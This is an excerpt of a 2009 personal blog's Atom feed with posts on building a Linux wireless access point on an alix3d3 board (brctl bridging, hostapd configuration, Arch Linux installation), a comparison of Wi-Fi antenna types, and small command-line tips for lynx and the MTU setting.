href="http://en.wikipedia.org/wiki/Network_bridge"&gt;bridge&lt;/a&gt; will do the job: all the data coming in the air will be passed to wire and vice-versa. This is not a big deal to make one, the man page of brctl describes it pretty well.&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="bash"&gt;&lt;br /&gt;brctl addbr br0      # creates the bridge&lt;br /&gt;brctl addif br0 eth0 # adds eth0 to the bridge&lt;br /&gt;brctl addif br0 ath0 # adds ath0 to the bridge&lt;br /&gt;brctl show           # shows what we did&lt;br /&gt;bridge name     bridge id               STP enabled     interfaces&lt;br /&gt;br0             8000.000db917b374       no              ath0&lt;br /&gt;                                                        eth0&lt;br /&gt;&lt;/pre&gt;To set up the access point, we will use &lt;span style="font-style: italic;"&gt;hostapd&lt;/span&gt;, the IEEE 802.11 wireless LAN Host AP daemon.&lt;br /&gt;&lt;br /&gt;To make it simple, here is my configuration for /etc/hostapd/hostapd.conf. I did not change the default values, I just modified the &lt;span style="font-style: italic;"&gt;ssid&lt;/span&gt; to pliplop and modified the interface correctly (ath0).&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="bash"&gt;&lt;br /&gt;interface=ath0&lt;br /&gt;bridge=br0&lt;br /&gt;driver=madwifi&lt;br /&gt;logger_syslog=-1&lt;br /&gt;logger_syslog_level=2&lt;br /&gt;logger_stdout=-1&lt;br /&gt;logger_stdout_level=2&lt;br /&gt;dump_file=/tmp/hostapd.dump&lt;br /&gt;ctrl_interface=/var/run/hostapd&lt;br /&gt;ctrl_interface_group=0&lt;br /&gt;ssid=pliplop&lt;br /&gt;hw_mode=g&lt;br /&gt;channel=1&lt;br /&gt;beacon_int=100&lt;br /&gt;dtim_period=2&lt;br /&gt;max_num_sta=255&lt;br /&gt;rts_threshold=2347&lt;br /&gt;fragm_threshold=2346&lt;br /&gt;macaddr_acl=0&lt;br /&gt;auth_algs=3&lt;br /&gt;ignore_broadcast_ssid=0&lt;br /&gt;wme_enabled=1&lt;br /&gt;wme_ac_bk_cwmin=4&lt;br /&gt;wme_ac_bk_cwmax=10&lt;br /&gt;wme_ac_bk_aifs=7&lt;br /&gt;wme_ac_bk_txop_limit=0&lt;br /&gt;wme_ac_bk_acm=0&lt;br /&gt;wme_ac_be_aifs=3&lt;br /&gt;wme_ac_be_cwmin=4&lt;br /&gt;wme_ac_be_cwmax=10&lt;br /&gt;wme_ac_be_txop_limit=0&lt;br /&gt;wme_ac_be_acm=0&lt;br /&gt;wme_ac_vi_aifs=2&lt;br /&gt;wme_ac_vi_cwmin=3&lt;br /&gt;wme_ac_vi_cwmax=4&lt;br /&gt;wme_ac_vi_txop_limit=94&lt;br /&gt;wme_ac_vi_acm=0&lt;br /&gt;wme_ac_vo_aifs=2&lt;br /&gt;wme_ac_vo_cwmin=2&lt;br /&gt;wme_ac_vo_cwmax=3&lt;br /&gt;wme_ac_vo_txop_limit=47&lt;br /&gt;wme_ac_vo_acm=0&lt;br /&gt;eapol_key_index_workaround=0&lt;br /&gt;eap_server=0&lt;br /&gt;own_ip_addr=127.0.0.1&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;We are ready to launch the hostap deamon...&lt;br /&gt;&lt;br /&gt;Everything sounds to be working by now. We will try connect with the client now.&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="bash"&gt;&lt;br /&gt;iwconfig wlan0 essid pliplop&lt;br /&gt;dhcpcd wlan0&lt;br /&gt;wlan0: dhcpcd 4.0.13 starting&lt;br /&gt;wlan0: broadcasting for a lease&lt;br /&gt;wlan0: offered 192.168.0.82 from 192.168.0.1&lt;br /&gt;wlan0: ignoring offer of 192.168.2.82 from 192.168.2.1&lt;br /&gt;wlan0: acknowledged 192.168.0.82 from 192.168.0.1&lt;br /&gt;wlan0: checking 192.168.0.82 is available on attached networks&lt;br /&gt;wlan0: leased 192.168.0.82 for 259200 seconds&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;ifconfig wlan0&lt;br /&gt;wlan0     Link encap:Ethernet  HWaddr 00:15:6d:53:01:d2&lt;br /&gt; inet addr:192.168.2.82  Bcast:192.168.2.255  Mask:255.255.255.0&lt;br /&gt; UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1&lt;br /&gt; RX packets:4235 errors:0 dropped:0 overruns:0 frame:0&lt;br /&gt; TX packets:4179 errors:0 dropped:0 overruns:0 carrier:0&lt;br /&gt; collisions:0 txqueuelen:0&lt;br /&gt; RX bytes:2448884 (2.3 MiB)  TX bytes:372396 (363.6 KiB)&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;As you can see, we received an ip address 192.168.2.82, which is in the pool of IP addresses we set up before on the server. We see that the access point acts transparently, like if we had pulled a direct wire between the client and the server. It is also worth to notice that on the alix3d3, you did not give any ip address neither for the eth0, nor for the ath0 interfaces. This makes sense, since IP addresses are one layer above the one we are working with.&lt;br /&gt;&lt;br /&gt;Finally, if you want to configure your alix3d3 further on, you can do a for example a &lt;span style="font-style: italic;"&gt;dhcpcd br0&lt;/span&gt; on the WAP: the server will offer it an IP address and you'll be able to access it.&lt;br /&gt;&lt;br /&gt;This is not too bad for the moment, but I my alix3d3 to act not only as an access point, but also as a router, thus I'll be able to do more advanced features. The next step is thus to configure a router on top of that.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4618371342657995948-8044788837773333013?l=life-is-a-hack.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://life-is-a-hack.blogspot.com/feeds/8044788837773333013/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://life-is-a-hack.blogspot.com/2009/07/alix3d3-towards-access-pointb.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4618371342657995948/posts/default/8044788837773333013'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4618371342657995948/posts/default/8044788837773333013'/><link rel='alternate' type='text/html' href='http://life-is-a-hack.blogspot.com/2009/07/alix3d3-towards-access-pointb.html' title='alix3d3: towards an access point'/><author><name>cam0</name><uri>http://www.blogger.com/profile/00317854258602811333</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_VjvtY-L1RNE/TEGhOeIqHkI/AAAAAAAANLk/Xci0iK4Q6Ns/S220/image.jpeg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_VjvtY-L1RNE/SmHLq_SPf0I/AAAAAAAAACo/Jr_J0nlvxyA/s72-c/ap.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4618371342657995948.post-2578388124320465245</id><published>2009-07-04T22:02:00.005+02:00</published><updated>2009-07-20T22:16:13.674+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='os'/><category scheme='http://www.blogger.com/atom/ns#' term='alix3d3'/><title type='text'>Alix3d3: first impression + OS installation</title><content type='html'>&lt;a img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 1px; height: 1px;" src="http://carpefactum.typepad.com/photos/uncategorized/2008/01/03/barack_obama.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;I finally got my alix3d3 board, from pcengines that will replace my router. I also bought a 4GB compact flash and a Wifi mini-pci card (WLM54GP23), with an atheros chipset. The box has a VGA output, but also audio in/out, but I don't really care about that. It also has a RJ45 connector, 2 USBs and a Serial connection, this is interesting !&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.pcengines.ch/pic/alix3d3.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 200px; height: 117px;" src="http://www.pcengines.ch/pic/alix3d3.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.pcengines.ch/pic/alix3d3.jpg"&gt; &lt;/a&gt;The first thing to do is to chose the operating system that will run on it. We have 256MB of Ram, and an AMD Geode running at a clock speed of 500MHz. I want a &lt;span style="font-weight: bold;"&gt;VERY&lt;/span&gt; light weight operating system, with a minimal set of packages. Moreover, I don't wanna compile anything on it, it's gonna be too slow, and it will overuse the CF card.  So first, I tried "&lt;a href="http://www.slitaz.org/en/"&gt;Slitaz&lt;/a&gt;", which is a Swiss linux distribution, known to be extremely light. This distribution comes with a 2.6.25 kernel, and you have a neat system of binary packages. That sounded good, until I started to hack around. Actually, as soon as you want to upgrade the kernel, you must do it yourself, and it seems that the community is not really reactive (packages are old, etc).  I just want something light that I "run and install", without having to hack too much like on my gentoo.&lt;br /&gt;&lt;br /&gt;I decided to give up with Slitaz, and move to &lt;a href="http://www.archlinux.org/"&gt;archlinux&lt;/a&gt;, which is based on gentoo and I always wanted to try it. I downloaded the &lt;a href="ftp://archlinux.puzzle.ch/iso/latest/archlinux-2009.02-ftp-i686.iso"&gt;iso file&lt;/a&gt; from their FTP and ran it into VMWare. I attached my card reader to the VM and from here I've been able to install my system within a half hour.  I am used to do purely manual installation, from partitioning to kernel configuration and selecting my packages one by one, but here, you have a nice UI (&lt;a href="http://linux.die.net/man/1/dialog"&gt;dialog&lt;/a&gt;), asking what you wanna do. I selected "auto partitioning", and it did the job for me. First impression is pretty good !&lt;br /&gt;&lt;br /&gt;Next, it asked me for which packages I wanted to install. Again, it has a small list (sounds like a bsd install), and you just select the packages you want to be installed, including the kernel. It is going to download directly the last release of each package (provided you chose the FTP/HTTP installation method) and install them without any human intervention, that was exactly what I was looking for.&lt;br /&gt;&lt;br /&gt;However, when you let the software doing what it wants, you may end up with some undesired behaviors. I had some issues with GRUB, it was configured in a very weird way, so I had to manually modify it. Then, I got issues when booting the kernel, actually the image was kind of corrupted. Hopefully, there is a "fallback" mode you can chose to help debugging. Fortunately, I found the &lt;span style="font-weight: bold;"&gt;mkinitcpio &lt;/span&gt;(Create an initial ramdisk environment) being very helpful here and helped in fixing the different issues I had.&lt;br /&gt;&lt;br /&gt;Another problem is that you have tones of modules that are loaded at boot-time, and my wireless cards where recognized, but I was not able to set them in Master Mode (access point).  Actually, it was due to the &lt;span style="font-style: italic;"&gt;ath5k  &lt;/span&gt;module,  not supporting the Master Mode. Hopefully, the &lt;span style="font-style: italic;"&gt;ath_pci&lt;/span&gt; module from madwifi-ng works just great and let you set the interface in Master mode. I just added &lt;span style="font-style: italic;"&gt;MODULES=("!ath5k ath_pci ath_hal")&lt;/span&gt; in the /etc/rc.conf file in order to ignore the &lt;span style="font-style: italic;"&gt;ath5k&lt;/span&gt; module and load the&lt;span style="font-style: italic;"&gt; ath_pci&lt;/span&gt; one.&lt;br /&gt;&lt;br /&gt;It's a happy story end, the system is ready, boots in about 15 seconds, recognizes the wifi cards and required very little effort to install. Moreover I like the way to install and maintain packages with &lt;span style="font-style: italic;"&gt;pacman&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Now that the box is ready, we will be able to hack the wifi ! Stay tuned, I'll be back in 2 weeks ;) !&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4618371342657995948-2578388124320465245?l=life-is-a-hack.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://life-is-a-hack.blogspot.com/feeds/2578388124320465245/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://life-is-a-hack.blogspot.com/2009/07/alix3d3-first-impression-os.html#comment-form' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4618371342657995948/posts/default/2578388124320465245'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4618371342657995948/posts/default/2578388124320465245'/><link rel='alternate' type='text/html' href='http://life-is-a-hack.blogspot.com/2009/07/alix3d3-first-impression-os.html' title='Alix3d3: first impression + OS installation'/><author><name>cam0</name><uri>http://www.blogger.com/profile/00317854258602811333</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_VjvtY-L1RNE/TEGhOeIqHkI/AAAAAAAANLk/Xci0iK4Q6Ns/S220/image.jpeg'/></author><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4618371342657995948.post-6034988710284732008</id><published>2009-07-04T09:54:00.005+02:00</published><updated>2009-07-19T11:11:49.050+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='antenna'/><title type='text'>A comparison between 3 different types of antenna</title><content type='html'>&lt;div style="text-align: justify;"&gt;Now that we have a way to get the Internet connection from the neighborhood, we want to optimize the signal strength. Actually, we want to maximize the signal, but keep the noise as low as possible. We will call the ratio Signal/Noise a SNR. The Signal &amp;amp; Noise are measures in &lt;span style="font-style: italic;"&gt;decibel isotropic&lt;/span&gt; (dbi). To simplify, we will say that a &lt;span style="font-weight: bold;"&gt;dbi&lt;/span&gt; is the same measure as a &lt;span style="font-weight: bold;"&gt;db&lt;/span&gt;, applied to an antenna.&lt;br /&gt;The isotropic antenna is the "perfect" antenna that radiates in all the direction with the same magnitude, with no loss. In other words, the isotropic antenna has no preferred direction of radiation.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://partnerwiki.cisco.com/ViewWiki/images/2/2b/Omni-vs-direct2-82068.gif"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 249px; height: 241px;" src="http://partnerwiki.cisco.com/ViewWiki/images/2/2b/Omni-vs-direct2-82068.gif" alt="" border="0" /&gt;&lt;/a&gt;&lt;center&gt;Radiation of a punctual isotropic antenna&lt;br /&gt;&lt;/center&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;Without digging too much into details,  the comparison of the highest peaks of the antenna with the isotropic one gives us the &lt;span style="font-weight: bold;"&gt;Gain&lt;/span&gt;; we will assume that the bigger the SNR is, the best the reception will be.&lt;br /&gt;&lt;br /&gt;Usually, an antenna has a horizontal plane pattern called an &lt;span style="font-style: italic;"&gt;azimuth&lt;/span&gt;, and a vertical plane pattern, called the &lt;span style="font-style: italic;"&gt;elevation&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Good, now we are interested for the end-user, which antenna is/are the best ?&lt;br /&gt;&lt;br /&gt;&lt;ul style="text-align: justify;"&gt;&lt;li&gt;Omnidirectional antenna&lt;/li&gt;&lt;/ul&gt;&lt;blockquote&gt;An &lt;b&gt;omnidirectional antenna&lt;/b&gt; is an &lt;a href="http://en.wikipedia.org/wiki/Antenna_%28electronics%29" title="Antenna (electronics)" class="mw-redirect"&gt;antenna&lt;/a&gt; system which radiates power uniformly in one plane with a directive pattern shape in a perpendicular plane. This pattern is often described as "donut shaped".&lt;br /&gt;&lt;br /&gt;The image of the donut is good (this is a dipole here):&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.goxium.com/images/omni-directional-antenna.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 150px; height: 149px;" src="http://www.goxium.com/images/omni-directional-antenna.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;center&gt;Azimuth of the donuts, the emitter is in the middle.&lt;/center&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;This shape can be achieved by a typical 1/2-wave dipole.  Hum, for wireless, 1/2-wave means around a 6cm dipole.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.goxium.com/images/high-gain-omni-directional-.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 150px; height: 150px;" src="http://www.goxium.com/images/high-gain-omni-directional-.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;When increasing the size of your antenna, the azimuth goes smoother. To give an example, imagine that you are living at the 3rd floor of a building. If you've a small omnidirectional antenna, people from the ground floor will be able to catch your signal. If you increase the size of your antenna, people from the ground floor won't be able to capt it anymore (and vice-versa), but it will reach more people horizontally.&lt;br /&gt;&lt;br /&gt;Typically, this kind of antenna is cool when wardriving, but for everyday, especially if you stay at the same point (ie at home), it's not very useful. Suppose you fix it on your balcony, do you really care about the backward radiation ? We want then a more directive antenna to maximize the [forward] gain.&lt;br /&gt;&lt;br /&gt;Finally, it is nice to notice that an omnidirectional antenna does depend on the wavelength (and obviously on the frequency), thus an antenna used for FM radio (100MHz) will be much bigger than an omnidirectional antenna used for Wifi (2.4 GHz). This also explain why the car antennas were so big few years ago, now electronic tries to replace them, but usually an inadequate antenna requires a damn lot of power... so maybe the solution for cellphone to have a longer battery life is simply to add them an antenna ? Yes, probably, but it wouldn't fit into your pocket anymore.&lt;br /&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;ul&gt;&lt;li&gt;Yagi-Uda antenna&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.astrosurf.com/luxorion/Radio/yagi-hidetsugu.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 240px; height: 235px;" src="http://www.astrosurf.com/luxorion/Radio/yagi-hidetsugu.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;div style="text-align: justify;"&gt;This antenna became famous with the advent of the television. This is widely used for terrestrial transmission.  This is already a directional antenna, where the dipoles are working in a synergistic way. Mathematically, it is pretty difficult to understand the exact way it works, but intuitively, the signal is "driven" by the dipoles. The gain of the antenna can be approximated by&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-weight: bold;"&gt;G&lt;/span&gt;&lt;sub style="font-weight: bold;"&gt;T&lt;/sub&gt;&lt;span style="font-weight: bold;"&gt; = 1.66 * N&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Where N is the number of dipoles (source: &lt;a href="http://en.wikipedia.org/wiki/Yagi_antenna"&gt;Wikipedia&lt;/a&gt;). It also means that the taller is the antenna, the highest is the gain. Again, it is worth to notice that the distance of the dipoles depends on the wavelength (1/10 of the wave length) and thus, the Yagi-Uda antenna is not a universal antenna, ie an antenna working for Wifi won't work for TV for example.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.vias.org/wirelessnetw/img/wndw-print_img_41.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 207px; height: 190px;" src="http://www.vias.org/wirelessnetw/img/wndw-print_img_41.png" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Its [forward] radiation pattern looks like a pear. This antenna is a good trade off between the omnidirectional antenna and the parabolic one: it offers a good gain without having to be too precise when pointing. Moreover, we have essentially a forward radiation pattern, which is what we are looking for when being on a fixed point. Indeed, we try to minimize the backward radiation, which is usually not really desired.&lt;br /&gt;&lt;br /&gt;The Yagi antenna is very easy to do - or to buy on eBay :P - and is an &lt;span style="font-weight: bold;"&gt;antenna of choice &lt;/span&gt;when you need something discrete / light, to take with when you go on vacation for example. If you are looking for a maximum gain, this is probably not the one you'd choose.&lt;br /&gt;&lt;br /&gt;Finally, in the same family, you have the log-periodic antenna, which is a derivative of the Yagi-Uda. In the log-periodic antenna, each dipole is smaller than the previous (how much smaller do you think ?).&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.grove-ent.com/media/crant.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 300px; height: 200px;" src="http://www.grove-ent.com/media/crant.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;/blockquote&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.grove-ent.com/media/crant.jpg"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Parabolic antenna&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;div style="text-align: justify;"&gt;This family of antenna is extremely well known due to its use in satellite communication. Moreover, its principle of radiation is easy to understand, because one may do analogy with &lt;span style="font-style: italic;"&gt;optical theory&lt;/span&gt;. Basically, it works like a lens.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;What is cool about parabolic antenna, is that they are universal: one antenna working for Wifi can work for other purpose. Moreover, the gain is directly linearly proportional to the area of your antenna, meaning that the biggest is your antenna, the more gain it will have.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_VjvtY-L1RNE/SmLjJbiR27I/AAAAAAAAACw/q2d7Gke0SfE/s1600-h/pat6inch.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 372px; height: 360px;" src="http://3.bp.blogspot.com/_VjvtY-L1RNE/SmLjJbiR27I/AAAAAAAAACw/q2d7Gke0SfE/s400/pat6inch.JPG" alt="" id="BLOGGER_PHOTO_ID_5360096257674173362" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;As an analogy, we can see the parabolic antenna as a laser: it is difficult to point on the right place, but when it is pointed right, you get the maximum SNR. Note that the radiation pattern has a sort of unwanted "flower" radiating backward.&lt;br /&gt;The higher the gain, the more peaks you'll have, the thinner will be the forward radiation pattern, the more difficult it will be to point on the desired direction.&lt;br /&gt;&lt;br /&gt;Typically, this is the antenna I prefer, when you don't have to move it. It is very difficult to point on the emitter (they are different techniques though), but once you get it, it's just awesome the SNR you get ! Sadly, this kind of antenna has only an efficiency of around 50% :(. Moreover, it is cumbersome: an antenna of 24dbi has a 1 meter diameter... so it's not a good choice when traveling. However, producers try to make them pretty light, since they are not full like the TV parabolas, that's why they have the denomination of &lt;span style="font-weight: bold;"&gt;grid&lt;/span&gt;. It does not impede the signal while tremendously reducing the weight. So you might guess why not doing that for TV sats ? I let you think a bit about that.&lt;br /&gt;&lt;br /&gt;Note that with a parabolic antenna, you might introduce the hidden node problem, hence RTS/CTS becomes a need. Moreover, when dealing with big distances, other problems may occur, but we will probably talk about this later on.&lt;br /&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;There exists many more antennas, like the cantenna (the famous &lt;a href="http://www.oreillynet.com/cs/weblog/view/wlg/448"&gt;pringle box)&lt;/a&gt;, the "panel antenna" that can have an efficiency up to 90%, but these are those I had the opportunity to try. Depending on your needs, the choice of the antenna can be very important. For example, if you decide to gather information about your surrounding neighbourgs, you'll choose an omnidirectional antenna, whereas if you are trying to jam a special node, a high gain antenna will do its job.&lt;br /&gt;&lt;br /&gt;Antennas are a wild topic, sometimes difficult to express purely mathematically and they usually require deep analysis to exactly now the radiation pattern. There is so much to say about antennas that it cannot be resumes in one post and to fully understand them, it requires a deep understanding in electromagnetism. However, I just wanted to give an insight about how they work, and where they can be used.&lt;br /&gt;&lt;br /&gt;Finally, I opted for the parabolic antenna, because I was looking for maximum gain, since I have big distances between houses. Next, we will see how to tweak your repeater to have the best internet possible.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4618371342657995948-6034988710284732008?l=life-is-a-hack.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://life-is-a-hack.blogspot.com/feeds/6034988710284732008/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://life-is-a-hack.blogspot.com/2009/07/comparison-between-3-different-types-of.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4618371342657995948/posts/default/6034988710284732008'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4618371342657995948/posts/default/6034988710284732008'/><link rel='alternate' type='text/html' href='http://life-is-a-hack.blogspot.com/2009/07/comparison-between-3-different-types-of.html' title='A comparison between 3 different types of antenna'/><author><name>cam0</name><uri>http://www.blogger.com/profile/00317854258602811333</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_VjvtY-L1RNE/TEGhOeIqHkI/AAAAAAAANLk/Xci0iK4Q6Ns/S220/image.jpeg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_VjvtY-L1RNE/SmLjJbiR27I/AAAAAAAAACw/q2d7Gke0SfE/s72-c/pat6inch.JPG' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4618371342657995948.post-882444246739372327</id><published>2009-06-26T10:15:00.004+02:00</published><updated>2009-06-26T22:42:34.863+02:00</updated><title type='text'>Tip of the day: dump a website from command line</title><content type='html'>Here is another trick I daily use:&lt;br /&gt;if you want to dump a website in a .txt file, you can use lynx. I added this alias to my ~/.bashrc&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="bash"&gt;&lt;br /&gt;alias dumpwebtxt='lynx -dump -nolist -notitle'&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;and you will use it the following way:&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="bash"&gt;&lt;br /&gt;dumpwebtxt "http://life-is-a-hack.blogspot.com/ &gt; out.txt&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4618371342657995948-882444246739372327?l=life-is-a-hack.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://life-is-a-hack.blogspot.com/feeds/882444246739372327/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://life-is-a-hack.blogspot.com/2009/06/tip-of-day-dump-website-from-command-l.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4618371342657995948/posts/default/882444246739372327'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4618371342657995948/posts/default/882444246739372327'/><link rel='alternate' type='text/html' href='http://life-is-a-hack.blogspot.com/2009/06/tip-of-day-dump-website-from-command-l.html' title='Tip of the day: dump a website from command line'/><author><name>cam0</name><uri>http://www.blogger.com/profile/00317854258602811333</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_VjvtY-L1RNE/TEGhOeIqHkI/AAAAAAAANLk/Xci0iK4Q6Ns/S220/image.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4618371342657995948.post-245320554083220457</id><published>2009-06-25T20:05:00.009+02:00</published><updated>2009-10-29T10:34:52.328+01:00</updated><title type='text'>Tip of the day: decrease MTU for a better wireless transmission</title><content type='html'>&lt;div style="text-align: justify;"&gt;That's a small tip: when you are dealing with a noisy channel, you can decrease the MTU (1500 by default). Indeed, as an insight, if the noise destroys a "big" packet, there will be more to retransmit than if the packet was small. The drawback is that you will put more load on your devices, and sometimes some host will refuse the connection.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Anyway:&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="bash"&gt;&lt;br /&gt;ifconfig wlan0 mtu 1000&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;where wlan0 is your wireless interface.&lt;br /&gt;&lt;br /&gt;Note that one should not confound the MTU with the fragmentation threshold. The fragmentation threshold is one layer below the MTU.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4618371342657995948-245320554083220457?l=life-is-a-hack.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://life-is-a-hack.blogspot.com/feeds/245320554083220457/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://life-is-a-hack.blogspot.com/2009/06/tip-of-day-decrease-mtu-for-better.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4618371342657995948/posts/default/245320554083220457'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4618371342657995948/posts/default/245320554083220457'/><link rel='alternate' type='text/html' href='http://life-is-a-hack.blogspot.com/2009/06/tip-of-day-decrease-mtu-for-better.html' title='Tip of the day: decrease MTU for a better wireless transmission'/><author><name>cam0</name><uri>http://www.blogger.com/profile/00317854258602811333</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' 